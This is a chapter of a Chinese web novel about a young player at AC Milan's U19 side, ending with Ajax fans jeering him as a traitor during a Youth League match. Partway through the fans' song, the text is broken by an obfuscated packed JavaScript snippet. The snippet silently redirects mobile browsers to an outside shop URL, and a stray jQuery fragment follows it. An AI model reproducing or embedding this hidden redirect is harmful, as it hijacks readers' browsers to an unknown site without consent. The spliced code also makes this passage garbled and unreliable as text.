因扎吉率领的米兰U19状态火热。
他们以2:1的成绩战胜一线队，又在与蒙扎U19的友谊赛中大获全胜，此刻，正摩拳擦掌，磨刀霍霍向青年欧冠。
欧洲青年联赛是由欧足联主办的U19青年队赛事，AC米兰被分到H组，和巴塞罗那、阿贾克斯和凯尔特人竞争出线机会，这是当之无愧的“死亡之组”。
上到教练组下到球员都严阵以待，唯独贺辰不受影响，正常训练。
今天下午没有训练，苏嘉平也不在家，贺辰吃过饭洗完碗收拾好一切，决定找一部老电影看。
象人被马戏团的恶霸团长抓住，头套被粗暴扯下，畸形的头颅完全暴露在煤气灯下。人群先是倒吸冷气，随即聚拢过来，组成一个由礼帽、蓬裙和好奇面孔构成的窒息圆圈。
象人蜷缩着，像一只被逼入绝境的受伤的动物。
“我不是动物！”周围陷入寂静，只剩下约瑟夫颤抖却有力的呐喊，“我是人！我是一个人！”
门铃响了。
贺辰打开门，发现是秦昶。
寸头确实是检验男性颜值的利器，秦昶站在少年与成人的交界线，脸棱角分明，眉眼却没有完全长开，青涩与野性并存。
“有事？”
秦昶挠挠头，说：“我带小白散步，路过你家门口，发现你家的水电费缴费单没拿。”
远处，萨摩耶被拴在电线杆上，它比贺辰记忆里更加蓬松，正呜咽着刨木栅栏。
贺辰看着他手里的信封说：“苏女士没要纸质材料。”
气氛瞬间陷入尴尬，秦昶两眼发直，看似人还在，其实灵魂已经飘走了。
“哦，是我看错了，这是我家的水电费缴费单。”
贺辰倚着门框，饶有兴趣地说：“有话直说，别拐弯抹角的。”
秦昶把缴费单折叠两次塞进口袋，随后看着贺辰的眼睛，表情特别认真。
贺辰下意识站好，手贴着大腿。
“小组赛第一场AC米兰客场作战阿贾克斯。我不是怀疑你的职业素养，可你和阿贾克斯闹得很不愉快，教练组怕这件事影响到你，Pippo派我探探你的态度。”
“你怎么看约翰·克鲁伊夫？”
话题跨度太大，秦昶一时没反应过来。
“亨德里克·约翰内斯·克鲁伊夫。”贺辰煞有介事地念出那位“荷兰飞人”的全名。
秦昶想了想，说：“他是现代足球的战术基石。”
“我在阿贾克斯的时候，苏女士如果不能按时接我，就会拜托约翰看着我。有时我们会玩一些小游戏，比如约翰擅长算数，我们就——抱歉，扯远了。”
“没关系。”秦昶笑着说。
“在大多数人眼里约翰是一座丰碑。有多少人崇拜他，就有多少人畏惧、厌恶乃至憎恨他。可约翰不在乎，”贺辰顿了顿，“我也是。”
想想吧，一个平常的午后，年过半百的老人和天真烂漫的孩童，他们是多么不起眼，可时代就是在这种时候完成交接的。
秦昶不由得笑出声来。
“在想什么？”
“在想怎么跟Pippo说，哎呀，你可给我出了个大难题。”
“什么难题能难倒我们英明神武的秦昶队长呢？”贺辰打趣道。
“少来这一套，我是人不是神，即使我有一张人神共愤的帅脸。”秦昶解开绳索，余光看到贺辰虽然肢体僵硬，但没有离开，顺水推舟邀请道，“要摸摸吗？小白很喜欢你。它是一只爱干净的乖狗狗。”
“……可以么？”
“慢慢的，轻轻的。”
贺辰蹲下来，深吸一口气，缓缓伸出左手。
指尖触摸到白色绒毛的瞬间，一股满足感立刻包裹上来，比他想象中更软、更暖，像躺进刚刚晒过的被子里。
萨摩耶没有躲开，反而热情地往前拱了拱，湿润的鼻尖蹭过他的虎口，毛茸茸的脑袋稳稳落进他的掌心，蓬松的绒毛轻轻搔着他的指缝。
贺辰发出一声喟叹，小白也满足地眯起眼睛，尾巴摇成一朵快速旋转的白色蒲公英。
秦昶自言自语：“不过，Pippo也太小题大做了，不就是转会吗，阿贾克斯的球迷还能杀了你不成？”
贺辰无法回答。
不会这么糟糕，但也不可能善良。
然而，尽管做好了心理准备，阿贾克斯球迷的反应还是超出了贺辰的预料。
当巨大的白色横幅在看台上展开时——“欢迎回来，叛徒”——每个字母都像一根钉子，钉进他的胸膛。
三万人的嘘声同时响起，那一刻，他差点以为自己会被声音活埋。
贺辰努力把视线从横幅上移开，却听见南看台开始齐声高唱：
“这里的水喂大了你的脚，
这里的风教你学会盘带和跑。
你胸口的红白，是我们一针一线缝好，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733741|208974||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
如今你却把它撕掉，裹上红黑的袍。
你不敢看南看台的眼，
你知道那上面刻着你的谎言。
约翰曾摸着你的头说这孩子能传能射，
现在你只配给他擦鞋——
哦不，他连鞋都不会让你碰见。”
贺辰呼吸粗重，胸膛剧烈起伏，似乎有什么东西即将喷涌而出。每一句歌词都像一把刀，一刀一刀，凌迟他与阿贾克斯之间所剩无几的温热的记忆。
“伟大的约翰，伟大的神，
你教出来的徒弟专咬自家人。
你的哲学就是一坨漂亮的狗屎，
养大了狼，再回来刨你的根！”
住嘴！住嘴！
不许你们侮辱约翰！
贺辰浑身发抖，不是冷，而是因为一种从骨头里炸开的东西。
因扎吉站在几步开外，时刻关注着他，见他状态不对，赶紧招呼贝尔纳迪带贺辰回更衣室。可贺辰挡着嘴，压低声音，冲贝尔纳迪说了几句话，然后绕过他独自走向球员通道。
但他仍然能听见歌声。
甚至听得更清楚。
“叛徒，叛徒，
你的血液里再也没有红白。
只有米兰的雾，
和一张皱巴巴的、克鲁伊夫看了都会吐的脸。”
贺辰感觉有人在他脑袋里点了一把火。
火焰顺着脊柱蹿上来，烧过胸腔，烧过喉咙，烧到眼眶。他的世界忽然只有红色，他听见自己的心跳声像打桩机一样砸在耳膜上，他忽然产生了摧毁一切的念头。
不远处有媒体正在采访，贺辰记不清是自己走过去，还是他们迎上来。总之，当他拿过话筒，直勾勾盯着摄像头的时候，心中的火突然灭了。
那一刻，他的身体里什么都没有了。
没有愤怒，没有悲伤，没有委屈，就连心跳都平静得像一潭死水。
他清楚听见自己的声音，心底的声音，和声带发出的声音。
对不起，约翰，你告诉过我不要理会外界的声音，可是我做不到。
“我没有背叛克鲁伊夫。”
对不起，约翰，我连累你挨骂了。
对不起，对不起，给你们添麻烦了。
可是我的愤怒能烧向什么呢？
“接下来，我会二传一射，给我洗干净脖子等着吧。”
对不起，约翰。
原谅我，约翰。